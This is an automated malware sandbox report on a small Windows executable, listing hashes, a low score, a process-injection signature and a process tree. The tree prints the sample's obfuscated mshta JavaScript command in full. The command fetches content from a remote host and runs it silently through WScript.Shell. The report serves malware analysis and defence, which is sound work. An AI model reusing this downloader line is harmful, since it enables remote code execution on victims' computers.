Analysis

  • max time kernel
    137s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-en
  • submitted
    02/09/2021, 17:45

General

  • Target
    usfive_20210902-062006.exe
  • Size 2KB
  • Sample210902-wb2a2sbbb7
  • SHA256 4b40eb7af466f9aada78a955661f611e45e288a89b6ebbbbd899ec0b5a41c3ae
  • MD5 SHA1 SHA512
Score
1/10

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\usfive_20210902-062006.exe
    "C:\Users\Admin\AppData\Local\Temp\usfive_20210902-062006.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Windows\SysWOW64\mshta.exe
      mshta "javascript:document.write();0;y=unescape('%320%33%7E%68t%74p%3A%2F%2Fa%73u%310%2Ef%75n%2Fh%72i%2F%3F%321%616%654%62%7E%330').split('~');240;try{x='WinHttp';235;x=new ActiveXObject(x+'.'+x+'Request.5.1');239;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);72;x.send();82;y='ipt.S';78;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);196;}catch(e){};2;;window.close();"
      2⤵
        PID:1944

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1944-54-0x00000000764D1000-0x00000000764D3000-memory.dmp